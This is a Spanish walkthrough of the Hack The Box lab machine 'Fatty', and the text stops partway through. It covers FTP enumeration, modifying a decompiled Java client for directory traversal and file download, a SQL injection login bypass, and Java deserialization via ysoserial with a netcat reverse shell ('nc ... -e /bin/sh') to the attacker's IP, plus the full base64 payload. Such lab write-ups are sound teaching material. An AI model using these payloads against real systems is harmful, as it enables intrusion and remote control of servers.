Informacion de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Insana |
Puntos: | 50 |
Lanzamiento: | 08-Febrero-2020 |
IP: | 10.10.10.174 |
Primera sangre de usuario: | sampriti |
Primera sangre de system: | jkr |
Enumeración.
Comenzamos lanzando un escaneo con nmap a los 65535
puertos para encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts fatty.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-05 13:48 CDT
Nmap scan report for 10.10.10.174
Host is up (0.17s latency).
Not shown: 63320 closed ports, 2210 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
1337/tcp open waste
1338/tcp open wmc-log-svc
1339/tcp open kjtsiteserver
Nmap done: 1 IP address (1 host up) scanned in 55.67 seconds
Una vez identificado los puertos abiertos, lanzaré scripts de enumeración para detectar los servicios y versiones de los puertos descubiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
intrusionz3r0@kali:~$ nmap -sCV -p21,22,1337,1338,1339 -oN targeted fatty.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-05 13:51 CDT
Nmap scan report for fatty.htb (10.10.10.174)
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar
| -rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt
| -rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt
|_-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.15.72
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
|_ 256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
1337/tcp open ssl/waste?
|_ssl-date: 2020-08-05T18:52:08+00:00; -4s from scanner time.
1338/tcp open ssl/wmc-log-svc?
|_ssl-date: 2020-08-05T18:52:07+00:00; -5s from scanner time.
1339/tcp open ssl/kjtsiteserver?
|_ssl-date: 2020-08-05T18:52:08+00:00; -4s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -4s, deviation: 0s, median: -4s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 208.06 seconds
El escaneo determinó lo siguiente:
Puerto 21 con servicio FTP que permite el acceso como el usuario anonymous (usuario por defecto) que almacena cuatro archivos.
Puerto 22 con servicio SSH.
Puertos 1337,1338,1339 con servicios no identificados correctamente.
Enumerando el servicio FTP podemos observar que contiene 4 archivos entre ellos un .jar que es un empaquetado del lenguaje de programación java (probablemente haya que analizar código) además tenemos tres notas.
Nota 1: Queridos miembros, Debido a algunos problemas de seguridad, trasladamos el puerto de nuestro servidor fatty java de 8000 al puerto oculto e indocumentado 1337. Además, creamos dos nuevas instancias del servidor en el puerto 1338 y 1339. Ofrecen exactamente el mismo servidor y sería bueno si usa diferentes servidores día a día para equilibrar la carga del servidor. Fuimos demasiado flojos para arreglar el puerto predeterminado en el archivo ‘.jar’, pero como todos ustedes son desarrolladores senior de Java, deberían ser capaces de haciéndolo usted mismo;) Atentamente, qtc.
Nota 2: Queridos miembros, Actualmente estamos experimentando con nuevos diseños de Java. El nuevo cliente usa un diseño estático. Si tu está utilizando un administrador de ventanas de mosaico o solo tiene un tamaño de pantalla limitado, intente cambiar el tamaño de la ventana del cliente hasta que vea el inicio de sesión de. Además, por razones de compatibilidad, seguimos confiando en Java 8. Dado que las estaciones de trabajo de nuestra compañía envían Java 11 de manera predeterminada, es posible que deba instalarlo manualmente. Atentamente, qtc.
Nota 3: Queridos miembros, Tuvimos que eliminar todas las demás cuentas de usuario debido a algunos problemas de seguridad. Hasta que hayamos solucionado estos problemas, puede usar mi cuenta: Usuario: qtc pass: clarabibi Atentamente, qtc.
Bien instalaremos dos paquetes el primero de ellos es el java 8:
1
intrusionz3r0@kali:~$ sudo apt-get install openjdk-8-jdk
El segundo es el jd-gui para descompilar el .jar
1
intrusionz3r0@kali:~$ sudo apt-get install jd-gui
Al ejecutar el .jar encuentro lo siguiente:
1
intrusionz3r0@kali:~$ java -jar fatty-client.jar
al probar las credenciales que encontramos en las notas recibimos una alerta de error de conexión.
Análisis del Fatty-Client.jar
Descompilo el jar con jd-gui y en el archivo bean.xml
y nos topamos con algo interesante:
1
intrusionz3r0@kali:~$ jd-gui fatty-client.jar
1
2
3
4
<bean id="connectionContext" class = htb.fatty.shared.connection.ConnectionContext">
<constructor-arg index="0" value = "server.fatty.htb"/>
<constructor-arg index="1" value = "8000"/>
</bean>
Encontramos lo que parece ser un subdominio que agregaremos a nuestro archivo /etc/hosts
además necesitamos buscar la manera de comunicarnos con el servidor ya que por defecto utiliza el puerto 8000 y si recuerdas los puertos fueron cambiados.
Una solución sería cambiar el puerto en el archivo bean.xml
o crear un túnel, yo optaré por la segunda.
Rápidamente me instalo simpleproxy
para poder tunelizar mi puerto 8000 con el puerto 1337 del servidor y poder lograr una comunicación.
1
intrusionz3r0@kali:~$ sudo apt-get install simpleproxy
Creamos el túnel:
1
intrusionz3r0@kali:~$ simpleproxy -L 8000 -R fatty.htb:1337
Cuando nos intentamos loguear vemos que efectivamente se conecta.
Comencé a analizar la aplicación y revisando los archivos y encontré algunos interesantes donde se mencionaba que la aplicación se le había realizado una prueba de pentesting por lo que probablemente esté asociada a alguna vulnerabilidad.
Dado que nuestros clientes de fatty procesan datos confidenciales, nos vimos obligados a realizar una prueba de penetración en ellos. Todavía no tuve tiempo de ver los resultados con más detalle, pero parece que hay algunas críticas. Deberíamos comenzar a solucionar estos problemas lo antes posible.
Estimado señor qtc,
lamentamos informarle sobre algunos problemas de seguridad importantes con su cliente de fatty. Ya intentamos contactarlo por teléfono, pero no lo logramos.
Recomendamos solucionar los problemas con el cliente/servidor fatty lo antes posible. Hasta que se solucionen los problemas, debe proteger/apagar el servidor fatty o cerrar los puertos relacionados en el firewall.
Hola qtc. hasta que se solucionen los problemas del pentest actual, hemos eliminado todos los usuarios administrativos de la base de datos. Su cuenta de usuario es la única que queda. Como solo tiene permisos de usuario, esto debería evitar la explotación de los otros temas. Además, implementamos un tiempo de espera en el procedimiento de inicio de sesión. Los ataques de inyección de SQL de tiempo pesado ya no son posibles. Atentamente, Dave
Descompilo nuevamente la aplicación con jd-gui
para analizarla a profundidad.
Revisando la clase Invoker.class
encontramos un método muy interesante.
Fatty-Client.jar -> Invoker.class (jd-gui)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() { }).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
this.action = new ActionMessage(this.sessionID, "files");
this.action.addArgument(folder);
sendAndRecv();
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
return this.response.getContentAsString();
}
Este método nos permite visualizar una carpeta en concreto ya que recibe como parámetro el nombre del folder por lo que si lo modificamos un poco seríamos capaces de visualizar cuales son los archivos que se encuentran en el servidor (como un tipo LFI aunque aún no sabemos el alcance que tendremos), así que me puse a buscar donde se invoca este método.
Fatty-Client.jar -> ClientGuiTest.class (jd-gui)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
configs.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e) {
String response = "";
ClientGuiTest.this.currentFolder = "configs";
try {
response = ClientGuiTest.this.invoker.showFiles("configs"); //Aquí se invoca el metodo showFiles de la clase invoker.
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
}
catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
notes.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e) {
String response = "";
ClientGuiTest.this.currentFolder = "notes";
try {
response = ClientGuiTest.this.invoker.showFiles("notes"); //Aquí se invoca el metodo showFiles de la clase invoker.
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
}
catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
mail.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e) {
String response = "";
ClientGuiTest.this.currentFolder = "mail";
try {
response = ClientGuiTest.this.invoker.showFiles("mail"); //Aquí se invoca el metodo showFiles de la clase invoker.
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
}
catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
Bien, si observamos los JMenuItem de mail
,configs
y notes
podemos observar que cada uno de estos tiene su método listener addActionListener
y por ende tiene su método actionPerformed
que es lo que se ejecutará cuando ocurra cierto evento. En este caso cada uno de estos JMenuItem instancia un objeto de la clase invoker
invocando así su método showfiles()
que recibe como parámetro el nombre del folder a visualizar.
Así que nuestro objetivo es modificar cualquiera JMenuItem para poder comenzar a enumerar los archivos del servidor.
Nota: Investigando un poco encontre de que debemos saltar la verificación de firmas para no tener problemas a la hora de trabajar el proyecto.
Eliminación de firmas y creación del proyecto.
Para ello ejecutamos el siguiente comando:
1
2
3
intrusionz3r0@kali:~$ zip -d fatty-client.jar META-INF/1.RSA META-INF/1.SF
deleting: META-INF/1.SF
deleting: META-INF/1.RSA
Rápidamente desempaqueto el jar con jd-gui, me voy a File
-> Save All Sources
Después vamos a eclipse y creamos un nuevo proyecto llamado Fatty-Client
, importamos el Fatty.Client.jar
y construimos el proyecto siguiendo la misma estructura original del Fatty-Client.jar
Pasos:
- Dentro de la carpeta
src
metemos la carpetahtb
. - Resolvemos las excepciones que se nos presentan en el proyecto.
Es tan sencillo como colocar el cursor encima de la línea y hacer click en add throws declaration
, eso para el message.java
.
Para el archivo ClientGuiTest.java
de la misma manera colocamos el cursor encima de la línea y hacemos click en surround with try/catch
o surround with try/multi-catch
, despues las variables response las inicializamos en cadena vacía. String response="";
La estructura final del proyecto quedara de la siguiente manera:
Otra alternativa es usar maven
, para instalarlo ejecutamos el siguiente comando:
1
intrusionz3r0@kali:~$ sudo apt-get install maven
Después solo construimos el proyecto de la misma manera que el anterior, con la diferencia de que debemos colocar el pom.xml
en la base del proyecto, una vez armado solo solucionamos las excepciones de la misma manera que como lo hicimos anteriormente y nuestro proyecto estará listo.
Bien, volvamos a eclipse.
Modificaremos el archivo ClientGuiTest.java
.
Fatty-Client -> ClientGuiTest.java (eclipse)
Para ellos tomare el JMenuItem de configs y voy a modificar su método showFiles().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
configs.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e) {
String response = "";
ClientGuiTest.this.currentFolder = "configs";
try {
response = ClientGuiTest.this.invoker.showFiles("../"); //Modificamos aqui.
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
}
catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
Ejecutamos el proyecto y si nos vamos a FileBrowser
-> configs
**
¡¡Eureka!!
Logramos manipular la salida, logrando así visualizar el contenido del folder.
En este punto intente hacer muchas cosas como ver si podía enumerar más archivos modificando el parámetro, pero no tuve éxito alguno así que toda mi atención se la llevó el fatty-server.jar
debía buscar la manera de llegar a él de alguna manera o descargarlo.
Convertir el Fatty-Server.jar en bytes.
Después de mucho pero mucho tiempo llegue a la conclusión de que para poder descargar el archivo necesitaba convertir el fatty-server.jar
en bytes de tal manera que pudiera escribirlos en un archivo local de mi máquina.
Para lograr nuestro objetivo necesitamos importar dos clases la primera de ellas se llama FileOutPutStream que nos permitira utilizar su método write() y la segunda se llama File que utilizaremos para guardar esos bytes en un archivo y poder asi tener el fatty-server.jar de manera local.
Nos vamos a invoker.java
e importamos las dos clases.
1
2
import java.io.File;
import java.io.FileOutputStream;
Después escribimos el siguiente método que lo llamaremos writeFile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public String writeFile() throws MessageParseException, MessageBuildException, IOException {
this.action = new ActionMessage(this.sessionID, "open");
this.action.addArgument("../");
this.action.addArgument("fatty-server.jar");
sendAndRecv();
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
try{
System.out.println("Estamos escribiendo dentro del archivo");
OutputStream os = new FileOutputStream(new File("fatty-server.jar"));
os.write(this.response.getContent());
os.close();
}catch(Exception exc1){}
return "Archivo descargado correctamente !!";
}
Ahora necesitamos invocar este método en alguna parte, nos iremos a ClientGuiTest.java y lo invocaremos en el botón de open.
Fatty-Client -> ClientGuiTest.java (eclipse)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
openFileButton.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e) {
if (ClientGuiTest.this.currentFolder == null) {
JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);
return;
}
String response = "";
String fileName = ClientGuiTest.this.fileTextField.getText();
fileName.replaceAll("[^a-zA-Z0-9.]", "");
try {
//response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);
response = ClientGuiTest.this.invoker.writeFile(); //Aquí invocamos el método writeFile()
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
}
catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
Nos vamos a FileBrowser
-> configs
y hacemos click en el botón de open
.
Análisis del Fatty-Server.jar
Bien, ahora que tenemos nuestro fatty-server.jar
los vamos a analizar con jd-gui.
Después de buscar un buen rato encontramos lo siguiente:
Fatty-Server.jar -> FattyDbSession (jd-gui)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public User checkLogin(User user) throws LoginException {
Statement stmt = null;
ResultSet rs = null;
User newUser = null;
try {
stmt = this.conn.createStatement();
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
try {
Thread.sleep(3000L);
} catch (InterruptedException e) {
return null;
}
if (rs.next()) {
int id = rs.getInt("id");
String username = rs.getString("username");
String email = rs.getString("email");
String password = rs.getString("password");
String role = rs.getString("role");
newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
if (newUser.getPassword().equalsIgnoreCase(user.getPassword())) {
return newUser;
}
throw new LoginException("Wrong Password!");
}
throw new LoginException("Wrong Username!");
}
catch (SQLException e) {
this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
return null;
}
}
Bien sabemos que nuestro usuario qtc pertenece al grupo de usuario normal por lo que es muy probable que seamos capaces de poder cambiar el rol de qtc a admin aprovechandonos de la query que se hace a la base de datos.
Si revisamos el código que se ejecuta cuando se da click al boton de login vemos lo siguiente:
Fatty-Client.jar -> ClientGuiTest (jd-gui)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
JButton btnNewButton = new JButton("Login ");
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String username = ClientGuiTest.this.tfUsername.getText().trim();
String password = new String(ClientGuiTest.this.tfPassword.getPassword());
ClientGuiTest.this.user = new User();
ClientGuiTest.this.user.setUsername(username);
ClientGuiTest.this.user.setPassword(password);
try {
ClientGuiTest.this.conn = Connection.getConnection();
} catch (htb.fatty.client.connection.Connection.ConnectionException e1) {
JOptionPane.showMessageDialog(LoginPanel, "Connection Error!", "Error", 0);
return;
}
if (ClientGuiTest.this.conn.login(ClientGuiTest.this.user)) {
JOptionPane.showMessageDialog(LoginPanel, "Login Successful!", "Login", 1);
LoginPanel.setVisible(false);
String roleName = ClientGuiTest.this.conn.getRoleName();
ClientGuiTest.this.user.setRoleByName(roleName);
if (roleName.contentEquals("admin")) {
uname.setEnabled(true);
users.setEnabled(true);
netstat.setEnabled(true);
ipconfig.setEnabled(true);
changePassword.setEnabled(true);
}
if (!roleName.contentEquals("anonymous")) {
whoami.setEnabled(true);
configs.setEnabled(true);
notes.setEnabled(true);
mail.setEnabled(true);
ping.setEnabled(true);
}
ClientGuiTest.this.invoker = new Invoker(ClientGuiTest.this.conn, ClientGuiTest.this.user);
controlPanel.setVisible(true);
} else {
JOptionPane.showMessageDialog(LoginPanel, "Login Failed!", "Login", 1);
ClientGuiTest.this.conn.close();
}
}
});
Podemos observar que necesitamos ser administradores para poder utilizar las funciones más avanzadas, además que si revisamos bien parece ser que cuando se invoca este método se ejecuta una línea de código para instanciar un nuevo usuario al que le asigna un nombre y una contraseña utilizando los métodos de la clase user.
1
2
3
ClientGuiTest.this.user = new User(); //Instancia un objeto de la clase User.
ClientGuiTest.this.user.setUsername(username); //Toma el nombre de usuario y lo asigna.
ClientGuiTest.this.user.setPassword(password); //Asigna una password.
Si nos vamos a la clase user.java encontramos los métodos correspondientes.
Fatty-Client -> User.java (jd-gui)
1
2
3
4
5
6
7
8
9
10
11
12
13
public void setUsername(String username) { this.username = username; }
public void setPassword(String password) {
String hashString = this.username + password + "clarabibimakeseverythingsecure";
MessageDigest digest = null;
try {
digest = MessageDigest.getInstance("SHA-256");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
this.password = DatatypeConverter.printHexBinary(hash);
}
Logramos ver cómo es que se asigna la contraseña a un usuario de tal manera que utiliza el nombre de usuario, la contraseña y el string clarabibimakeseverythingsecure
para poder crear un hash utilizando SHA-256.
Lo que significa que nosotros no podemos inyectar porque el hash cambiaria, esto debido a que si inyectamos en el campo de usuario toda la cadena de la inyección SQL la tomaría como un usuario.
Ejemplo:
- Usuario: qtc’ inyección
- contraseña: clarabibi
- String fijo: clarabibimakeseverythingsecure
Sin inyección: 5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046
Con inyección: A60A698773EA9C9B994F54C0E62C04D70AD87D3A0B210EBCED502CFDF26EEB33
Entonces ahora que comprendemos bien el funcionamiento de esto lo que podemos hacer es realizar una modificación en el código exactamente en la parte de username para darle una cadena estática en este caso el usuario qtc
logrando así que seamos capaces de inyectar una sentencia de sql para poder cambiar el rol del usuario qtc
a admin.
Hacemos la siguiente modificación: Fatty-Client.jar -> User.java
1
2
3
4
5
6
7
8
9
10
11
public void setPassword(String password) {
String hashString = 'qtc' + password + "clarabibimakeseverythingsecure"; //Aquí.
MessageDigest digest = null;
try {
digest = MessageDigest.getInstance("SHA-256");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
this.password = DatatypeConverter.printHexBinary(hash);
}
La inyección quedara de la siguiente manera:
Username: qtc’ UNION SELECT id,username,email,password,’admin’ FROM users ORDER BY role ASC LIMIT 1#
Password: clarabibi
¡¡Eureka!!
Hasta ahora la máquina ha sido una gran aventura, muy compleja debido a que es mucho análisis de código en java.
Preparate que ahora viene lo bueno.
Deserialización de java.
Ahora que tenemos las funciones de administrador avanzadas poder continuar.
Después de varios días encontré la parte del código vulnerable:
Fatty-Server.jar -> Commands.class (jd-gui)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static String changePW(ArrayList<String> args, User user) {
logger.logInfo("[+] Method 'changePW' was called.");
int methodID = 7;
if (!user.getRole().isAllowed(methodID)) {
logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" + user.getUsername() + "' with role '" + user.getRoleName() + "'.");
return "Error: Method 'changePW' is not allowed for this user account";
}
response = "";
String b64User = (String)args.get(0);
byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
try {
ObjectInputStream oIn = new ObjectInputStream(bIn);
User user1 = (User)oIn.readObject(); //Vulnerabilidad.
} catch (Exception e) {
e.printStackTrace();
return response + "Error: Failure while recovering the User object.";
}
return response + "Info: Your call was successful, but the method is not fully implemented yet.";
}
En el método changePW
hay un método que se llama readObject() que es el que nos va a permitir lograr explotar esta aplicación.
1
User user1 = (User)oIn.readObject(); //Vulnerabilidad.
Prácticamente la vulnerabilidad se encuentra en uno de los paquetes importados en el fatty-server.jar llamado commons-collection de tal manera que necesitamos enviar un objeto malicioso que pase por el método readObject() así este objeto no será serializado por el nodo padre logrando así la ejecución de comandos a nivel de sistema.
Para más información puede consultar el siguiente artículo:
Necesitaremos descargarnos el ysoserial para crear nuestro payload.
1
2
3
intrusionz3r0@kali:~$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'nc 10.10.15.72 1234 -e /bin/sh' | base64 -w0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHm5jIC1lIC9iaW4vc2ggMTAuMTAuMTUuNzIgMTIzNHQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
Después haremos la siguiente modificación:
Fatty-Client.jar -> Invoker.java (eclipse)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public String changePW(String username, String newPassword) throws MessageParseException, MessageBuildException, IOException {
// String methodName = (new Object() { }).getClass().getEnclosingMethod().getName();
// logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
// if (AccessCheck.checkAccess(methodName, this.user)) {
// return "Error: Method '" + methodName + "' is not allowed //for this user account";
// }
//
// User user = new User(username, newPassword);
// ByteArrayOutputStream bOut = new ByteArrayOutputStream();
//
//
// try {
// ObjectOutputStream oOut = new ObjectOutputStream(bOut);
// oOut.writeObject(user);
// } catch (IOException e) {
// e.printStackTrace();
// return "Failure while serializing user object";
// }
// byte[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray());
this.action = new ActionMessage(this.sessionID, "changePW");
this.action.addArgument("payload");
sendAndRecv();
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
return this.response.getContentAsString();
}
Ahora debemos invocarlo, pero cuando observamos la estructura del código nos damos cuenta de que aun no se implemento el método,por lo cual nosotros debemos implementarlo.
Fatty-Client.jar -> ClientGuiTest.java (eclipse)
1
2
3
4
5
6
7
8
9
//No implementado.
pwChangeButton.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
JOptionPane.showMessageDialog(passwordChange, "Not implemented yet.", "Error", 0);
passwordChange.setVisible(false);
controlPanel.setVisible(true);
}
});
1
2
3
4
